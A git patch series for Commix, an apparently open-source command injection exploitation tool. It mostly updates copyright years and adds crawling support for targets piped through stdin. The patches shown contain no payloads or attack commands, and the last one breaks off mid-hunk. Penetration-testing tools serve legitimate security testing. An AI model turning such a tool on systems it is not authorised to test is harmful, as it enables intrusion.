(https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/modules/modules_handler.py b/src/core/modules/modules_handler.py index e604f25695..ed8e5536a8 100644 --- a/src/core/modules/modules_handler.py +++ b/src/core/modules/modules_handler.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/modules/shellshock/__init__.py b/src/core/modules/shellshock/__init__.py index 7ce1185b92..4b64c163e0 100644 --- a/src/core/modules/shellshock/__init__.py +++ b/src/core/modules/shellshock/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/requests/__init__.py b/src/core/requests/__init__.py index 7ce1185b92..4b64c163e0 100644 --- a/src/core/requests/__init__.py +++ b/src/core/requests/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/requests/authentication.py b/src/core/requests/authentication.py index 21f7f3dba4..2c8bd55d3f 100644 --- a/src/core/requests/authentication.py +++ b/src/core/requests/authentication.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index 0aa83c9624..b79e87cb90 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index 1758605e0c..b3c6729326 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/requests/proxy.py b/src/core/requests/proxy.py index 1dfeb288ee..a07dc0bec8 100644 --- a/src/core/requests/proxy.py +++ b/src/core/requests/proxy.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/requests/redirection.py b/src/core/requests/redirection.py index ebca5a03e7..a602d73a2c 100755 --- a/src/core/requests/redirection.py +++ b/src/core/requests/redirection.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index 3b341542df..2abf819227 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/requests/tor.py b/src/core/requests/tor.py index b4c7473177..49c88c01b1 100644 --- a/src/core/requests/tor.py +++ b/src/core/requests/tor.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/shells/__init__.py b/src/core/shells/__init__.py index 7ce1185b92..4b64c163e0 100644 --- a/src/core/shells/__init__.py +++ b/src/core/shells/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/shells/bind_tcp.py b/src/core/shells/bind_tcp.py index 8283a9eb3e..b1bfe55630 100755 --- a/src/core/shells/bind_tcp.py +++ b/src/core/shells/bind_tcp.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/shells/reverse_tcp.py b/src/core/shells/reverse_tcp.py index 0114780b2e..bfbdedd77d 100755 --- a/src/core/shells/reverse_tcp.py +++ b/src/core/shells/reverse_tcp.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/__init__.py b/src/core/tamper/__init__.py index 7ce1185b92..4b64c163e0 100644 --- a/src/core/tamper/__init__.py +++ b/src/core/tamper/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/backslashes.py b/src/core/tamper/backslashes.py index 2d4fd80b0f..6724aad621 100644 --- a/src/core/tamper/backslashes.py +++ b/src/core/tamper/backslashes.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/backticks.py b/src/core/tamper/backticks.py index 884a211bee..ce28802e9a 100644 --- a/src/core/tamper/backticks.py +++ b/src/core/tamper/backticks.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/base64encode.py b/src/core/tamper/base64encode.py index 1c88cceffa..6b06cd2fca 100644 --- a/src/core/tamper/base64encode.py +++ b/src/core/tamper/base64encode.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/caret.py b/src/core/tamper/caret.py index 21081e7cbb..40186a5d40 100644 --- a/src/core/tamper/caret.py +++ b/src/core/tamper/caret.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/dollaratsigns.py b/src/core/tamper/dollaratsigns.py index b870ad2612..7720e6c4c1 100644 --- a/src/core/tamper/dollaratsigns.py +++ b/src/core/tamper/dollaratsigns.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/doublequotes.py b/src/core/tamper/doublequotes.py index bd3269bb8f..350e8a3b6a 100644 --- a/src/core/tamper/doublequotes.py +++ b/src/core/tamper/doublequotes.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/hexencode.py b/src/core/tamper/hexencode.py index f19d538822..a558772774 100644 --- a/src/core/tamper/hexencode.py +++ b/src/core/tamper/hexencode.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/multiplespaces.py b/src/core/tamper/multiplespaces.py index e641415020..c6dd066fff 100644 --- a/src/core/tamper/multiplespaces.py +++ b/src/core/tamper/multiplespaces.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/nested.py b/src/core/tamper/nested.py index 912d91288c..192b840022 100644 --- a/src/core/tamper/nested.py +++ b/src/core/tamper/nested.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/printf2echo.py b/src/core/tamper/printf2echo.py index eb03120e34..e864a888f9 100644 --- a/src/core/tamper/printf2echo.py +++ b/src/core/tamper/printf2echo.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/singlequotes.py b/src/core/tamper/singlequotes.py index 585a0e795c..44729569a9 100644 --- a/src/core/tamper/singlequotes.py +++ b/src/core/tamper/singlequotes.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/slash2env.py b/src/core/tamper/slash2env.py index 602ec6715c..ef4255cf20 100644 --- a/src/core/tamper/slash2env.py +++ b/src/core/tamper/slash2env.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/sleep2timeout.py b/src/core/tamper/sleep2timeout.py index 9f9ce00f44..90563587c6 100644 --- a/src/core/tamper/sleep2timeout.py +++ b/src/core/tamper/sleep2timeout.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/sleep2usleep.py b/src/core/tamper/sleep2usleep.py index 867d80567c..5373dee4a5 100644 --- a/src/core/tamper/sleep2usleep.py +++ b/src/core/tamper/sleep2usleep.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/space2htab.py b/src/core/tamper/space2htab.py index 5fb02052cf..e4c7dec6f1 100644 --- a/src/core/tamper/space2htab.py +++ b/src/core/tamper/space2htab.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/space2ifs.py b/src/core/tamper/space2ifs.py index 5ded16eccc..b4d61d2a36 100644 --- a/src/core/tamper/space2ifs.py +++ b/src/core/tamper/space2ifs.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/space2plus.py b/src/core/tamper/space2plus.py index e969ddb9b4..22b37a6d5f 100644 --- a/src/core/tamper/space2plus.py +++ b/src/core/tamper/space2plus.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/space2vtab.py b/src/core/tamper/space2vtab.py index f2e9057300..a59ddc21dc 100644 --- a/src/core/tamper/space2vtab.py +++ b/src/core/tamper/space2vtab.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/uninitializedvariable.py b/src/core/tamper/uninitializedvariable.py index 6c50770eb7..e894055abf 100644 --- a/src/core/tamper/uninitializedvariable.py +++ b/src/core/tamper/uninitializedvariable.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/xforwardedfor.py b/src/core/tamper/xforwardedfor.py index 1db614ebf8..202413574a 100644 --- a/src/core/tamper/xforwardedfor.py +++ b/src/core/tamper/xforwardedfor.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/testing.py b/src/core/testing.py index 5677e338dc..78637df782 100644 --- a/src/core/testing.py +++ b/src/core/testing.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/thirdparty/__init__.py b/src/thirdparty/__init__.py index 7ce1185b92..4b64c163e0 100644 --- a/src/thirdparty/__init__.py +++ b/src/thirdparty/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/utils/__init__.py b/src/utils/__init__.py index 7ce1185b92..4b64c163e0 100644 --- a/src/utils/__init__.py +++ b/src/utils/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/utils/colors.py b/src/utils/colors.py index 170e024eaa..d7a6bbc249 100644 --- a/src/utils/colors.py +++ b/src/utils/colors.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/utils/common.py b/src/utils/common.py index 8eecc64479..b318946f56 100644 --- a/src/utils/common.py +++ b/src/utils/common.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/utils/crawler.py b/src/utils/crawler.py index af449f865e..b5d7fb8508 100644 --- a/src/utils/crawler.py +++ b/src/utils/crawler.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/utils/install.py b/src/utils/install.py index 897894e222..44f1bf1b30 100644 --- a/src/utils/install.py +++ b/src/utils/install.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/utils/logs.py b/src/utils/logs.py index 87686168b2..22734520a7 100755 --- a/src/utils/logs.py +++ b/src/utils/logs.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/utils/menu.py b/src/utils/menu.py index 4fab4f266a..03d4659326 100755 --- a/src/utils/menu.py +++ b/src/utils/menu.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/utils/purge.py b/src/utils/purge.py index 3d32bd877a..a34458552e 100644 --- a/src/utils/purge.py +++ b/src/utils/purge.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/utils/requirments.py b/src/utils/requirments.py index f21690d6fb..8a06414a3a 100644 --- a/src/utils/requirments.py +++ b/src/utils/requirments.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/utils/session_handler.py b/src/utils/session_handler.py index 73d0998c5b..99e573ef8f 100755 --- a/src/utils/session_handler.py +++ b/src/utils/session_handler.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/utils/settings.py b/src/utils/settings.py index e65c44d151..551763bb4a 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.7" -REVISION = "27" +REVISION = "28" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -251,7 +251,7 @@ def sys_argv_errors(): VERSION = VERSION + VERSION_NUM + "-dev#" + REVISION COLOR_VERSION = Style.UNDERLINE + Fore.WHITE + VERSION + Style.RESET_ALL -YEAR = "2014-2022" +YEAR = "2014-2023" AUTHOR_TWITTER = "@ancst" APPLICATION_URL = "https://commixproject.com" APPLICATION_TWITTER = "@commixproject" diff --git a/src/utils/simple_http_server.py b/src/utils/simple_http_server.py index 7bdb025297..aa9c77ee70 100644 --- a/src/utils/simple_http_server.py +++ b/src/utils/simple_http_server.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/utils/update.py b/src/utils/update.py index 7282ab2471..9d27770ec2 100755 --- a/src/utils/update.py +++ b/src/utils/update.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/utils/version.py b/src/utils/version.py index a8a1b6de0e..4f2ca1e6fb 100644 --- a/src/utils/version.py +++ b/src/utils/version.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by From f7d72f8a4ce7ed9c79392b7d631bef56ea4d85af Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 4 Jan 2023 07:25:16 +0200 Subject: [PATCH 0246/1023] Added support regarding combining `--crawl` option with scanning multiple targets given from piped-input (i.e. stdin). --- doc/CHANGELOG.md | 1 + src/core/main.py | 30 ++++++++++++++++++++---------- src/core/requests/redirection.py | 14 +++++++++----- src/utils/settings.py | 2 +- 4 files changed, 31 insertions(+), 16 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 818c2d2511..c51d20d39a 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.7 (TBA) +* Added: Support regarding combining `--crawl` option with scanning multiple targets given from piped-input (i.e. stdin). * Revised: Minor improvement regarding adding PCRE_REPLACE_EVAL `/e` modifier (i.e. dynamic code evaluation technique). * Revised: Minor bug-fix regarding logging all HTTP traffic into a textual file (i.e `-t` option). diff --git a/src/core/main.py b/src/core/main.py index 6a4d0ee58b..1736391973 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -321,6 +321,22 @@ def init_injection(url): if settings.TIME_RELATIVE_ATTACK: settings.TIME_RELATIVE_ATTACK = False +""" +Using 'stdin' for parsing targets. +""" +def stdin_parsing_target(os_checks_num): + _ = [] + if os_checks_num == 0: + info_msg = "Using 'stdin' for parsing targets list." + print(settings.print_info_msg(info_msg)) + menu.options.batch = True + settings.MULTI_TARGETS = True + for url in sys.stdin: + if re.search(r"\b(https?://[^\s'\"]+|[\w.]+\.\w{2,3}[/\w+]*\?[^\s'\"]+)", url, re.I): + url = url.replace(settings.SINGLE_WHITESPACE, _urllib.parse.quote_plus(settings.SINGLE_WHITESPACE)).strip() + _.append(url.rstrip()) + return _ + """ The main function. """ @@ -870,11 +886,13 @@ def main(filename, url): if settings.CRAWLING: settings.CRAWLING_PHASE = True url_num = 1 - if not menu.options.bulkfile: + if not menu.options.bulkfile and not settings.STDIN_PARSING: crawling_list = 1 output_href = crawler.crawler(url, url_num, crawling_list) output_href.append(url) else: + if settings.STDIN_PARSING: + bulkfile = stdin_parsing_target(os_checks_num) crawling_list = len(bulkfile) for url in bulkfile: output_href += (crawler.crawler(url, url_num, crawling_list)) @@ -889,15 +907,7 @@ def main(filename, url): if not settings.STDIN_PARSING: output_href = output_href + bulkfile else: - if os_checks_num == 0: - info_msg = "Using 'stdin' for parsing targets list." - print(settings.print_info_msg(info_msg)) - menu.options.batch = True - bulkfile = sys.stdin - settings.MULTI_TARGETS = True - for url in bulkfile: - if re.search(r"\b(https?://[^\s'\"]+|[\w.]+\.\w{2,3}[/\w+]*\?[^\s'\"]+)", url, re.I): - output_href.append(url.rstrip()) + output_href = stdin_parsing_target(os_checks_num) # Removing duplicates from list. clean_output_href = [] diff --git a/src/core/requests/redirection.py b/src/core/requests/redirection.py index a602d73a2c..86018b8e19 100755 --- a/src/core/requests/redirection.py +++ b/src/core/requests/redirection.py @@ -62,8 +62,10 @@ def redirect_request(self, request, fp, code, msg, headers, newurl): opener = _urllib.request.build_opener(RedirectHandler()) try: response = opener.open(request, timeout=settings.TIMEOUT) - if url == response.geturl(): + if url == response.geturl() or (settings.CRAWLING and response.geturl() in settings.HREF_SKIPPED): return response.geturl() + elif settings.CRAWLING and url in settings.HREF_SKIPPED: + return url else: while True: if not settings.FOLLOW_REDIRECT: @@ -72,14 +74,16 @@ def redirect_request(self, request, fp, code, msg, headers, newurl): message = "Got a " + str(settings.REDIRECT_CODE) + " redirect to " + response.geturl() + "\n" message += "Do you want to follow the identified redirection? [Y/n] > " redirection_option = common.read_input(message, default="Y", check_batch=True) - if redirection_option in settings.CHOICE_YES: settings.FOLLOW_REDIRECT = True - if not settings.CRAWLING: - info_msg = "Following redirection to '" + response.geturl() + "'. " - print(settings.print_info_msg(info_msg)) + info_msg = "Following redirection to '" + response.geturl() + "'. " + print(settings.print_info_msg(info_msg)) + if settings.CRAWLING: + settings.HREF_SKIPPED.append(response.geturl()) return checks.check_http_s(response.geturl()) elif redirection_option in settings.CHOICE_NO: + if settings.CRAWLING: + settings.HREF_SKIPPED.append(url) return url elif redirection_option in settings.CHOICE_QUIT: raise SystemExit() diff --git a/src/utils/settings.py b/src/utils/settings.py index 551763bb4a..07720e03ed 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.7" -REVISION = "28" +REVISION = "29" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From a73da295feb01cd6a4bb0a893d184bde7bbfc712 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 5 Jan 2023 09:58:28 +0200 Subject: [PATCH 0247/1023] Improvement regarding `--crawl` option, for skipping further tests involving target that an injection point has already been detected. --- doc/CHANGELOG.md | 1 + .../blind/techniques/time_based/tb_handler.py | 2 + .../techniques/classic/cb_handler.py | 2 + .../techniques/eval_based/eb_handler.py | 2 + .../techniques/file_based/fb_handler.py | 2 + src/core/main.py | 103 +++++++++++++----- src/core/modules/shellshock/shellshock.py | 2 + src/utils/settings.py | 5 +- 8 files changed, 88 insertions(+), 31 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index c51d20d39a..c7d3582b35 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.7 (TBA) +* Revised: Improvement regarding `--crawl` option, for skipping further tests involving target that an injection point has already been detected. * Added: Support regarding combining `--crawl` option with scanning multiple targets given from piped-input (i.e. stdin). * Revised: Minor improvement regarding adding PCRE_REPLACE_EVAL `/e` modifier (i.e. dynamic code evaluation technique). * Revised: Minor bug-fix regarding logging all HTTP traffic into a textual file (i.e `-t` option). diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py index 7848b9c0c2..b040d64f40 100755 --- a/src/core/injections/blind/techniques/time_based/tb_handler.py +++ b/src/core/injections/blind/techniques/time_based/tb_handler.py @@ -457,6 +457,8 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r 